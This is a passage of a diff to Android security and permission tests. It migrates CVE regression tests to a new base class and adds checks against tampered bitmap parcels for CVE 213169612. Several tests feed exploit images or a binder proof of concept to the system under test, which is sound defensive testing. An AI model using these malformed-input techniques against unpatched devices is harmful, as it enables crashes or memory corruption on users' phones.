MICROPHONE_PERMISSION_GROUP, + LOCATION to LOCATION_PERMISSION_GROUP) + + private val permToTitle = mapOf(CAMERA to "blocked_camera_title", + MICROPHONE to "blocked_microphone_title", + LOCATION to "blocked_location_title") + + @Before + fun setup() { + Assume.assumeFalse(isTv) + // TODO(b/203784852) Auto will eventually support the blocked sensor banner, but there won't + // be support in T or below + Assume.assumeFalse(isAutomotive) + installPackage(APP_APK_PATH_31) + runWithShellPermissionIdentity { + DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY, + WARNING_BANNER_ENABLED, true.toString(), false) + } + } + + @After + fun restoreWarningBannerState() { + runWithShellPermissionIdentity { + DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY, + WARNING_BANNER_ENABLED, originalEnabledValue, false) + } + } + + private fun navigateAndTest(sensor: Int) { + val permissionGroup = sensorToPermissionGroup.getOrDefault(sensor, "Break") + val intent = Intent(Intent.ACTION_MANAGE_PERMISSION_APPS) + .putExtra(Intent.EXTRA_PERMISSION_GROUP_NAME, permissionGroup) + .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) + runWithShellPermissionIdentity { + context.startActivity(intent) + } + val bannerTitle = permToTitle.getOrDefault(sensor, "Break") + waitFindObject(By.text(getPermissionControllerString(bannerTitle))) + pressBack() + } + + private fun runSensorTest(sensor: Int) { + val blocked = isSensorPrivacyEnabled(sensor) + if (!blocked) { + setSensor(sensor, true) + } + navigateAndTest(sensor) + if (!blocked) { + setSensor(sensor, false) + } + } + + @Test + fun testCameraCardDisplayed() { + Assume.assumeTrue(sensorPrivacyManager.supportsSensorToggle(CAMERA)) + runSensorTest(CAMERA) + } + + @Test + fun testMicCardDisplayed() { + Assume.assumeTrue(sensorPrivacyManager.supportsSensorToggle(MICROPHONE)) + runSensorTest(MICROPHONE) + } + + @Test + fun testLocationCardDisplayed() { + runSensorTest(LOCATION) + } + + private fun setSensor(sensor: Int, enable: Boolean) { + if (sensor == LOCATION) { + runWithShellPermissionIdentity { + locationManager.setLocationEnabledForUser(!enable, + android.os.Process.myUserHandle()) + if (enable) { + try { + waitFindObjectOrNull(By.text("CLOSE"))?.click() + } catch (e: Exception) { + // Do nothing, warning didn't show up so test can proceed + } + } + } + } else { + runWithShellPermissionIdentity { + sensorPrivacyManager.setSensorPrivacy(SensorPrivacyManager.Sources.OTHER, + sensor, enable) + } + } + } + + private fun isSensorPrivacyEnabled(sensor: Int): Boolean { + return if (sensor == LOCATION) { + callWithShellPermissionIdentity { + !locationManager.isLocationEnabled() + } + } else { + callWithShellPermissionIdentity { + sensorPrivacyManager.isSensorPrivacyEnabled(sensor) + } + } + } +} diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStoreUtils.java b/tests/tests/provider/src/android/provider/cts/media/MediaStoreUtils.java index 49a33ad4854..da7f0fb1223 100644 --- a/tests/tests/provider/src/android/provider/cts/media/MediaStoreUtils.java +++ b/tests/tests/provider/src/android/provider/cts/media/MediaStoreUtils.java @@ -27,16 +27,16 @@ import android.provider.MediaStore.Downloads; import android.provider.MediaStore.MediaColumns; import android.text.format.DateUtils; +import androidx.annotation.NonNull; +import androidx.annotation.Nullable; +import androidx.test.filters.SdkSuppress; + import org.junit.Test; import java.io.FileNotFoundException; import java.io.OutputStream; import java.util.Objects; -import androidx.annotation.NonNull; -import androidx.annotation.Nullable; -import androidx.test.filters.SdkSuppress; - @SdkSuppress(minSdkVersion = Build.VERSION_CODES.R) public class MediaStoreUtils { @Test @@ -118,6 +118,10 @@ public class MediaStoreUtils { } } + public void setIsFavorite(@Nullable Boolean isFavorite) { + this.insertValues.put(MediaColumns.IS_FAVORITE, isFavorite); + } + /** * Optionally set the Uri from where the file has been downloaded. This is used * for files being added to {@link Downloads} table. diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp index 5838d27729b..b82b188f2b1 100644 --- a/tests/tests/security/Android.bp +++ b/tests/tests/security/Android.bp @@ -33,6 +33,7 @@ android_test { "compatibility-common-util-devicesidelib", "guava", "platform-test-annotations", + "sts-device-util", "hamcrest-library", ], libs: [ @@ -60,6 +61,7 @@ android_test { "src/**/*.java", "src/**/*.kt", "src/android/security/cts/activity/ISecureRandomService.aidl", + "aidl/android/security/cts/IBitmapService.aidl", "aidl/android/security/cts/IIsolatedService.aidl", "aidl/android/security/cts/CVE_2021_0327/IBadProvider.aidl", ], diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml index 17aa9e8f345..e43d6aa0750 100644 --- a/tests/tests/security/AndroidManifest.xml +++ b/tests/tests/security/AndroidManifest.xml @@ -48,6 +48,10 @@ <service android:name="android.security.cts.activity.SecureRandomService" android:process=":secureRandom"/> + + <service android:name="android.security.cts.BitmapService" + android:process=":bitmap_service" /> + <activity android:name="android.security.cts.MotionEventTestActivity" android:label="Test MotionEvent" android:exported="true"> diff --git a/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl new file mode 100644 index 00000000000..b9694c32af7 --- /dev/null +++ b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl @@ -0,0 +1,25 @@ +/* + * Copyright 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +parcelable BitmapWrapper; + +interface IBitmapService { + int getAllocationSize(in BitmapWrapper bitmap); + boolean didReceiveBitmap(in BitmapWrapper bitmap); + boolean ping(); +} diff --git a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java index 9480251f37c..f16b8fb2111 100644 --- a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java +++ b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java @@ -15,26 +15,30 @@ */ package android.security.cts; +import static org.junit.Assert.*; + import android.app.ActivityManager; import android.app.ApplicationExitInfo; import android.content.Context; import android.os.IBinder; import android.platform.test.annotations.AsbSecurityTest; import android.util.Log; +import androidx.test.runner.AndroidJUnit4; import androidx.test.InstrumentationRegistry; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import junit.framework.TestCase; import java.lang.reflect.InvocationTargetException; -public class ActivityManagerTest extends TestCase { +import org.junit.runner.RunWith; +import org.junit.Test; - @Override - protected void setUp() throws Exception { - super.setUp(); - } +@RunWith(AndroidJUnit4.class) +public class ActivityManagerTest extends StsExtraBusinessLogicTestCase { @AsbSecurityTest(cveBugId = 19394591) + @Test public void testActivityManager_injectInputEvents() throws ClassNotFoundException { try { /* @@ -53,6 +57,7 @@ public class ActivityManagerTest extends TestCase { // b/144285917 @AsbSecurityTest(cveBugId = 144285917) + @Test public void testActivityManager_attachNullApplication() { SecurityException securityException = null; Exception unexpectedException = null; @@ -81,6 +86,7 @@ public class ActivityManagerTest extends TestCase { // b/166667403 @AsbSecurityTest(cveBugId = 166667403) + @Test public void testActivityManager_appExitReasonPackageNames() { final String mockPackage = "com.foo.bar"; final String realPackage = "com.android.compatibility.common.deviceinfo"; diff --git a/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java b/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java index 5d297c6a9b2..fca75a22425 100644 --- a/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java +++ b/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java @@ -19,21 +19,28 @@ package android.security.cts; import android.graphics.Bitmap; import android.graphics.BitmapFactory; import android.platform.test.annotations.AsbSecurityTest; -import android.test.AndroidTestCase; +import androidx.test.runner.AndroidJUnit4; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; +import org.junit.runner.RunWith; +import org.junit.Test; + +import static org.junit.Assert.*; import java.io.InputStream; import android.security.cts.R; -public class AllocatePixelRefIntOverflowTest extends AndroidTestCase { +@RunWith(AndroidJUnit4.class) +public class AllocatePixelRefIntOverflowTest extends StsExtraBusinessLogicTestCase { /** * Verifies that the device is not vulnerable to ANDROID-19270126: Android * BitmapFactory.decodeStream JPG allocPixelRef integer overflow */ @AsbSecurityTest(cveBugId = 19394591) + @Test public void testAllocateJavaPixelRefIntOverflow() { - InputStream exploitImage = mContext.getResources().openRawResource( + InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource( R.raw.cve_2015_1531_b_19270126); /** * The decodeStream method results in SIGSEGV (Segmentation fault) on unpatched devices diff --git a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java index 73536e35b0f..397c0129661 100644 --- a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java +++ b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java @@ -16,7 +16,7 @@ package android.security.cts; -import android.test.AndroidTestCase; +import static org.junit.Assert.fail; import android.app.Activity; import android.os.BaseBundle; @@ -27,21 +27,29 @@ import android.view.AbsSavedState; import android.view.View; import android.view.View.BaseSavedState; import android.annotation.SuppressLint; +import androidx.test.runner.AndroidJUnit4; + +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import java.io.InputStream; import java.lang.reflect.Field; import java.util.Random; +import org.junit.runner.RunWith; +import org.junit.Test; + import android.security.cts.R; import android.platform.test.annotations.AsbSecurityTest; -public class AmbiguousBundlesTest extends AndroidTestCase { +@RunWith(AndroidJUnit4.class) +public class AmbiguousBundlesTest extends StsExtraBusinessLogicTestCase { /** * b/140417434 * Vulnerability Behaviour: Failure via Exception */ @AsbSecurityTest(cveBugId = 140417434) + @Test public void test_android_CVE_2020_0082() throws Exception { Ambiguator ambiguator = new Ambiguator() { @@ -180,6 +188,7 @@ public class AmbiguousBundlesTest extends AndroidTestCase { * b/71992105 */ @AsbSecurityTest(cveBugId = 71992105) + @Test public void test_android_CVE_2017_13310() throws Exception { Ambiguator ambiguator = new Ambiguator() { @@ -270,6 +279,7 @@ public class AmbiguousBundlesTest extends AndroidTestCase { * b/71508348 */ @AsbSecurityTest(cveBugId = 71508348) + @Test public void test_android_CVE_2018_9339() throws Exception { Ambiguator ambiguator = new Ambiguator() { @@ -373,6 +383,7 @@ public class AmbiguousBundlesTest extends AndroidTestCase { * b/62998805 */ @AsbSecurityTest(cveBugId = 62998805) + @Test public void test_android_CVE_2017_0806() throws Exception { Ambiguator ambiguator = new Ambiguator() { @Override @@ -436,6 +447,7 @@ public class AmbiguousBundlesTest extends AndroidTestCase { * b/73252178 */ @AsbSecurityTest(cveBugId = 73252178) + @Test public void test_android_CVE_2017_13311() throws Exception { Ambiguator ambiguator = new Ambiguator() { @Override @@ -530,6 +542,7 @@ public class AmbiguousBundlesTest extends AndroidTestCase { * b/71714464 */ @AsbSecurityTest(cveBugId = 71714464) + @Test public void test_android_CVE_2017_13287() throws Exception { Ambiguator ambiguator = new Ambiguator() { @Override diff --git a/tests/tests/security/src/android/security/cts/AndroidFutureTest.java b/tests/tests/security/src/android/security/cts/AndroidFutureTest.java index 7b26ff0cee8..1deafdde4f1 100644 --- a/tests/tests/security/src/android/security/cts/AndroidFutureTest.java +++ b/tests/tests/security/src/android/security/cts/AndroidFutureTest.java @@ -25,6 +25,7 @@ import android.platform.test.annotations.AsbSecurityTest; import androidx.test.core.app.ApplicationProvider; import androidx.test.runner.AndroidJUnit4; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import static org.junit.Assert.assertFalse; import org.junit.Test; @@ -34,7 +35,7 @@ import java.io.File; import java.lang.reflect.Field; @RunWith(AndroidJUnit4.class) -public class AndroidFutureTest { +public class AndroidFutureTest extends StsExtraBusinessLogicTestCase { @AsbSecurityTest(cveBugId = 186530450) @Test diff --git a/tests/tests/security/src/android/security/cts/AssetManagerTest.java b/tests/tests/security/src/android/security/cts/AssetManagerTest.java index 10e1c2098c3..684fa6f4d02 100644 --- a/tests/tests/security/src/android/security/cts/AssetManagerTest.java +++ b/tests/tests/security/src/android/security/cts/AssetManagerTest.java @@ -19,13 +19,19 @@ package android.security.cts; import android.content.res.AssetManager; import android.content.res.XmlResourceParser; import android.platform.test.annotations.AsbSecurityTest; +import androidx.test.runner.AndroidJUnit4; -import com.android.compatibility.common.util.CtsAndroidTestCase; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; -public class AssetManagerTest extends CtsAndroidTestCase { +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(AndroidJUnit4.class) +public class AssetManagerTest extends StsExtraBusinessLogicTestCase { // b/144028297 @AsbSecurityTest(cveBugId = 144028297) + @Test public void testCloseThenFinalize() throws Exception { final XmlResourceParser[] parser = {null}; final AssetManager[] assetManager = {AssetManager.class.newInstance()}; diff --git a/tests/tests/security/src/android/security/cts/AttributionSourceTest.java b/tests/tests/security/src/android/security/cts/AttributionSourceTest.java new file mode 100644 index 00000000000..e36fa49b3eb --- /dev/null +++ b/tests/tests/security/src/android/security/cts/AttributionSourceTest.java @@ -0,0 +1,54 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static org.junit.Assert.assertThrows; + +import java.lang.reflect.Field; +import org.junit.Test; +import org.junit.runner.RunWith; + +import android.content.AttributionSource; +import android.content.Context; +import android.platform.test.annotations.AsbSecurityTest; +import androidx.test.core.app.ApplicationProvider; +import androidx.test.runner.AndroidJUnit4; + +@RunWith(AndroidJUnit4.class) +public class AttributionSourceTest { + + @AsbSecurityTest(cveBugId = 200288596) + @Test + public void testPidCheck() throws Exception { + Context context = ApplicationProvider.getApplicationContext(); + AttributionSource attributionSource = + new AttributionSource( + (AttributionSource) + Context.class.getMethod("getAttributionSource").invoke(context), + null); + + Field attSourceStateField = + attributionSource.getClass().getDeclaredField("mAttributionSourceState"); + attSourceStateField.setAccessible(true); + + Object attSourceState = attSourceStateField.get(attributionSource); + attSourceState.getClass().getField("pid").setInt(attSourceState, 0); + final AttributionSource attributionSourceFinal = attributionSource; + assertThrows(SecurityException.class, () -> attributionSourceFinal.enforceCallingPid()); + } +} + diff --git a/tests/tests/security/src/android/security/cts/AudioSecurityTest.java b/tests/tests/security/src/android/security/cts/AudioSecurityTest.java index 1e1878deae3..e011b7fc4ca 100644 --- a/tests/tests/security/src/android/security/cts/AudioSecurityTest.java +++ b/tests/tests/security/src/android/security/cts/AudioSecurityTest.java @@ -23,14 +23,20 @@ import android.media.audiofx.Equalizer; import android.platform.test.annotations.AsbSecurityTest; import android.util.Log; -import com.android.compatibility.common.util.CtsAndroidTestCase; +import androidx.test.runner.AndroidJUnit4; +import org.junit.runner.RunWith; +import org.junit.Test; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; + +import static org.junit.Assert.*; import java.nio.ByteBuffer; import java.nio.ByteOrder; import java.util.Arrays; import java.util.UUID; -public class AudioSecurityTest extends CtsAndroidTestCase { +@RunWith(AndroidJUnit4.class) +public class AudioSecurityTest extends StsExtraBusinessLogicTestCase { private static final String TAG = "AudioSecurityTest"; private static final int ERROR_DEAD_OBJECT = -7; // AudioEffect.ERROR_DEAD_OBJECT @@ -90,6 +96,7 @@ public class AudioSecurityTest extends CtsAndroidTestCase { // b/28173666 @AsbSecurityTest(cveBugId = 28173666) + @Test public void testAllEffectsGetParameterAttemptOffload_CVE_2016_3745() throws Exception { testAllEffects("get parameter attempt offload", new TestEffect() { @@ -104,6 +111,7 @@ public class AudioSecurityTest extends CtsAndroidTestCase { // b/32624850 // b/32635664 @AsbSecurityTest(cveBugId = 32438594) + @Test public void testAllEffectsGetParameter2AttemptOffload_CVE_2017_0398() throws Exception { testAllEffects("get parameter2 attempt offload", new TestEffect() { @@ -116,6 +124,7 @@ public class AudioSecurityTest extends CtsAndroidTestCase { // b/30204301 @AsbSecurityTest(cveBugId = 30204301) + @Test public void testAllEffectsSetParameterAttemptOffload_CVE_2016_3924() throws Exception { testAllEffects("set parameter attempt offload", new TestEffect() { @@ -128,6 +137,7 @@ public class AudioSecurityTest extends CtsAndroidTestCase { // b/37536407 @AsbSecurityTest(cveBugId = 32448258) + @Test public void testAllEffectsEqualizer_CVE_2017_0401() throws Exception { testAllEffects("equalizer get parameter name", new TestEffect() { @@ -355,6 +365,7 @@ public class AudioSecurityTest extends CtsAndroidTestCase { // b/31781965 @AsbSecurityTest(cveBugId = 31781965) + @Test public void testVisualizerCapture_CVE_2017_0396() throws Exception { // Capture params final int CAPTURE_SIZE = 1 << 24; // 16MB seems to be large enough to cause a SEGV. diff --git a/tests/tests/security/src/android/security/cts/BigRleTest.java b/tests/tests/security/src/android/security/cts/BigRleTest.java index 20ac03a90c5..f441c7808f3 100644 --- a/tests/tests/security/src/android/security/cts/BigRleTest.java +++ b/tests/tests/security/src/android/security/cts/BigRleTest.java @@ -18,14 +18,19 @@ package android.security.cts; import android.graphics.Bitmap; import android.graphics.BitmapFactory; -import android.test.AndroidTestCase; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import java.io.InputStream; import android.platform.test.annotations.AsbSecurityTest; import android.security.cts.R; -public class BigRleTest extends AndroidTestCase { +import androidx.test.runner.AndroidJUnit4; +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(AndroidJUnit4.class) +public class BigRleTest extends StsExtraBusinessLogicTestCase { /** * Verifies that the device does not run OOM decoding a particular RLE encoded BMP. * @@ -33,8 +38,9 @@ public class BigRleTest extends AndroidTestCase { * we attempted to allocate space for all the encoded data at once, resulting in OOM. */ @AsbSecurityTest(cveBugId = 33251605) + @Test public void test_android_bug_33251605() { - InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_33251605); + InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(R.raw.bug_33251605); Bitmap bitmap = BitmapFactory.decodeStream(exploitImage); } } diff --git a/tests/tests/security/src/android/security/cts/BinderExploitTest.java b/tests/tests/security/src/android/security/cts/BinderExploitTest.java index 7516e5b6712..aa7a3607ed0 100644 --- a/tests/tests/security/src/android/security/cts/BinderExploitTest.java +++ b/tests/tests/security/src/android/security/cts/BinderExploitTest.java @@ -40,8 +40,8 @@ import java.io.InputStream; import java.io.InputStreamReader; import static org.junit.Assert.assertTrue; -import android.test.AndroidTestCase; import androidx.test.InstrumentationRegistry; +import androidx.test.runner.AndroidJUnit4; import android.platform.test.annotations.AsbSecurityTest; import java.util.ArrayList; @@ -53,9 +53,14 @@ import android.os.IBinder; import android.system.ErrnoException; import android.widget.TextView; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; + import java.io.File; import java.util.List; +import org.junit.runner.RunWith; +import org.junit.Test; + class Exchange extends IBinderExchange.Stub { IBinder binder; BinderExploitTest.CVE_2019_2213_Activity xpl; @@ -97,7 +102,8 @@ class ExploitThread extends Thread { public native void runxpl(String pipedir); } -public class BinderExploitTest extends AndroidTestCase { +@RunWith(AndroidJUnit4.class) +public class BinderExploitTest extends StsExtraBusinessLogicTestCase { static final String TAG = BinderExploitTest.class.getSimpleName(); private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts"; @@ -115,6 +121,7 @@ public class BinderExploitTest extends AndroidTestCase { * b/141496757 */ @AsbSecurityTest(cveBugId = 133758011) + @Test public void testPoc_cve_2019_2213() throws Exception { Log.i(TAG, String.format("%s", "testPoc_cve_2019_2213 start...")); diff --git a/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java b/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java index 444b110b629..9b9ea1f98c5 100644 --- a/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java +++ b/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java @@ -18,14 +18,18 @@ package android.security.cts; import android.graphics.BitmapFactory; import android.platform.test.annotations.AsbSecurityTest; -import android.test.AndroidTestCase; - +import androidx.test.runner.AndroidJUnit4; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; +import org.junit.runner.RunWith; +import org.junit.Test; +import static org.junit.Assert.*; import android.security.cts.R; import java.io.BufferedInputStream; import java.io.InputStream; -public class BitmapFactoryDecodeStreamTest extends AndroidTestCase { +@RunWith(AndroidJUnit4.class) +public class BitmapFactoryDecodeStreamTest extends StsExtraBusinessLogicTestCase { /* * This test case reproduces the bug in CVE-2015-1532. * It verifies that the BitmapFactory:decodeStream method is not vulnerable @@ -33,23 +37,26 @@ public class BitmapFactoryDecodeStreamTest extends AndroidTestCase { * npTc chunk. */ @AsbSecurityTest(cveBugId = 19151999) + @Test public void testNinePatchHeapOverflow() throws Exception { - InputStream inStream = new BufferedInputStream(mContext.getResources().openRawResource( + InputStream inStream = new BufferedInputStream(getInstrumentation().getContext().getResources().openRawResource( R.raw.cve_2015_1532)); BitmapFactory.decodeStream(inStream); } @AsbSecurityTest(cveBugId = 36724453) + @Test public void testPocCVE_2017_0691() throws Exception { - InputStream exploitImage = new BufferedInputStream(mContext.getResources().openRawResource( + InputStream exploitImage = new BufferedInputStream(getInstrumentation().getContext().getResources().openRawResource( R.raw.cve_2017_0691)); BitmapFactory.decodeStream(exploitImage); } @AsbSecurityTest(cveBugId = 65290323) + @Test public void test_b65290323() throws Exception { - InputStream exploitImage = new BufferedInputStream(mContext.getResources().openRawResource( + InputStream exploitImage = new BufferedInputStream(getInstrumentation().getContext().getResources().openRawResource( R.raw.b65290323)); BitmapFactory.decodeStream(exploitImage); } diff --git a/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java index b1de686459b..c77b7dd2f60 100644 --- a/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java +++ b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java @@ -16,10 +16,15 @@ package android.security.cts; +import static org.junit.Assert.*; + +import android.content.Context; import android.graphics.BitmapFactory; import android.os.ParcelFileDescriptor; import android.platform.test.annotations.AsbSecurityTest; -import android.test.AndroidTestCase; +import androidx.test.runner.AndroidJUnit4; + +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import java.io.File; import java.io.FileDescriptor; @@ -27,13 +32,16 @@ import java.io.FileOutputStream; import java.io.InputStream; import java.lang.Exception; +import org.junit.runner.RunWith; +import org.junit.Test; import android.security.cts.R; -public class BitmapFactorySecurityTests extends AndroidTestCase { +@RunWith(AndroidJUnit4.class) +public class BitmapFactorySecurityTests extends StsExtraBusinessLogicTestCase { private FileDescriptor getResource(int resId) { try { - InputStream is = mContext.getResources().openRawResource(resId); + InputStream is = getInstrumentation().getContext().getResources().openRawResource(resId); assertNotNull(is); File file = File.createTempFile("BitmapFactorySecurityFile" + resId, "img"); file.deleteOnExit(); @@ -58,6 +66,7 @@ public class BitmapFactorySecurityTests extends AndroidTestCase { * Verifies that decoding a corrupt ICO does crash. */ @AsbSecurityTest(cveBugId = 38116746) + @Test public void test_android_bug_38116746() { FileDescriptor exploitImage = getResource(R.raw.bug_38116746); try { @@ -74,6 +83,7 @@ public class BitmapFactorySecurityTests extends AndroidTestCase { * Verifies that decoding a corrupt BMP does crash. */ @AsbSecurityTest(cveBugId = 37627194) + @Test public void test_android_bug_37627194() { FileDescriptor exploitImage = getResource(R.raw.bug_37627194); try { @@ -84,6 +94,7 @@ public class BitmapFactorySecurityTests extends AndroidTestCase { } @AsbSecurityTest(cveBugId = 156261521) + @Test public void test_android_bug_156261521() { // Previously decoding this would crash. FileDescriptor exploitImage = getResource(R.raw.bug_156261521); diff --git a/tests/tests/security/src/android/security/cts/BitmapService.java b/tests/tests/security/src/android/security/cts/BitmapService.java new file mode 100644 index 00000000000..c532e05e906 --- /dev/null +++ b/tests/tests/security/src/android/security/cts/BitmapService.java @@ -0,0 +1,50 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.app.Service; +import android.content.Intent; +import android.os.IBinder; + +import androidx.annotation.Nullable; + +public class BitmapService extends Service { + + private final IBitmapService.Stub mBinder = new IBitmapService.Stub() { + @Override + public int getAllocationSize(BitmapWrapper wrapper) { + return wrapper.getBitmap().getAllocationByteCount(); + } + + @Override + public boolean didReceiveBitmap(BitmapWrapper wrapper) { + return true; + } + + + @Override + public boolean ping() { + return true; + } + }; + + @Nullable + @Override + public IBinder onBind(Intent intent) { + return mBinder; + } +} diff --git a/tests/tests/security/src/android/security/cts/BitmapTest.java b/tests/tests/security/src/android/security/cts/BitmapTest.java index 40cb1398e97..5ce81fd9d95 100644 --- a/tests/tests/security/src/android/security/cts/BitmapTest.java +++ b/tests/tests/security/src/android/security/cts/BitmapTest.java @@ -16,16 +16,89 @@ package android.security.cts; +import android.app.Instrumentation; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.ServiceConnection; import android.graphics.Bitmap; +import android.os.BadParcelableException; +import android.os.IBinder; import android.platform.test.annotations.AsbSecurityTest; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; +import androidx.test.platform.app.InstrumentationRegistry; import androidx.test.runner.AndroidJUnit4; +import com.google.common.util.concurrent.AbstractFuture; + +import org.junit.After; +import org.junit.Assert; +import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; + @RunWith(AndroidJUnit4.class) -public class BitmapTest { +public class BitmapTest extends StsExtraBusinessLogicTestCase { + + private Instrumentation mInstrumentation; + private PeerConnection mRemoteConnection; + private IBitmapService mRemote; + + public static class PeerConnection extends AbstractFuture<IBitmapService> + implements ServiceConnection { + @Override + public void onServiceConnected(ComponentName name, IBinder service) { + set(IBitmapService.Stub.asInterface(service)); + } + + @Override + public void onServiceDisconnected(ComponentName name) { + } + + @Override + public IBitmapService get() throws InterruptedException, ExecutionException { + try { + return get(5, TimeUnit.SECONDS); + } catch (TimeoutException e) { + throw new RuntimeException(e); + } + } + } + + @Before + public void setUp() throws Exception { + mInstrumentation = InstrumentationRegistry.getInstrumentation(); + } + + @After + public void tearDown() { + if (mRemoteConnection != null) { + final Context context = mInstrumentation.getContext(); + context.unbindService(mRemoteConnection); + mRemote = null; + mRemoteConnection = null; + } + } + + IBitmapService getRemoteService() throws ExecutionException, InterruptedException { + if (mRemote == null) { + final Context context = mInstrumentation.getContext(); + Intent intent = new Intent(); + intent.setComponent(new ComponentName( + "android.security.cts", "android.security.cts.BitmapService")); + mRemoteConnection = new PeerConnection(); + context.bindService(intent, mRemoteConnection, + Context.BIND_AUTO_CREATE | Context.BIND_IMPORTANT); + mRemote = mRemoteConnection.get(); + } + return mRemote; + } + /** * Test Bitmap.createBitmap properly throws OOME on large inputs. * @@ -39,4 +112,102 @@ public class BitmapTest { // which might be passed to createBitmap from a Java decoder. Bitmap.createBitmap(65535, 65535, Bitmap.Config.ARGB_8888); } + + @Test + @AsbSecurityTest(cveBugId = 213169612) + public void test_inplace_213169612() throws Exception { + IBitmapService remote = getRemoteService(); + Assert.assertTrue("Binder should be alive", remote.ping()); + BitmapWrapper wrapper = new BitmapWrapper( + Bitmap.createBitmap(2, 4, Bitmap.Config.ARGB_8888)); + final int expectedAllocationSize = wrapper.getBitmap().getAllocationByteCount(); + int allocationSize = remote.getAllocationSize(wrapper); + Assert.assertEquals(expectedAllocationSize, allocationSize); + Assert.assertTrue("Binder should be alive", remote.ping()); + + // Override the bitmap size to 500KiB; larger than the actual size + wrapper.reset() + .replace(BitmapWrapper.Field.DataSize, 500 * 1024); + allocationSize = remote.getAllocationSize(wrapper); + Assert.assertEquals(expectedAllocationSize, allocationSize); + Assert.assertTrue("Binder should be alive", remote.ping()); + + // Override the bitmap size to 2 bytes; smaller than the actual size + wrapper.reset() + .replace(BitmapWrapper.Field.DataSize, 2); + try { + Assert.assertFalse("Should have failed to unparcel", + remote.didReceiveBitmap(wrapper)); + } catch (BadParcelableException ex) { + // We'll also accept a BadParcelableException + } + Assert.assertTrue("Binder should be alive", remote.ping()); + + // Keep the blob size accurate, but change computed allocation size to be too large + wrapper.reset() + .replace(BitmapWrapper.Field.Height, 10_000) + .replace(BitmapWrapper.Field.RowBytes, 50_000); + try { + Assert.assertFalse("Should have failed to unparcel", + remote.didReceiveBitmap(wrapper)); + } catch (BadParcelableException ex) { + // We'll also accept a BadParcelableException + } + Assert.assertTrue("Binder should be alive", remote.ping()); + } + + @Test + @AsbSecurityTest(cveBugId = 213169612) + public void test_ashmem_213169612() throws Exception { + IBitmapService remote = getRemoteService(); + Assert.assertTrue("Binder should be alive", remote.ping()); + BitmapWrapper wrapper = new BitmapWrapper( + Bitmap.createBitmap(1000, 1000, Bitmap.Config.ARGB_8888) + .createAshmemBitmap()); + final int expectedAllocationSize = wrapper.getBitmap().getAllocationByteCount(); + int allocationSize = 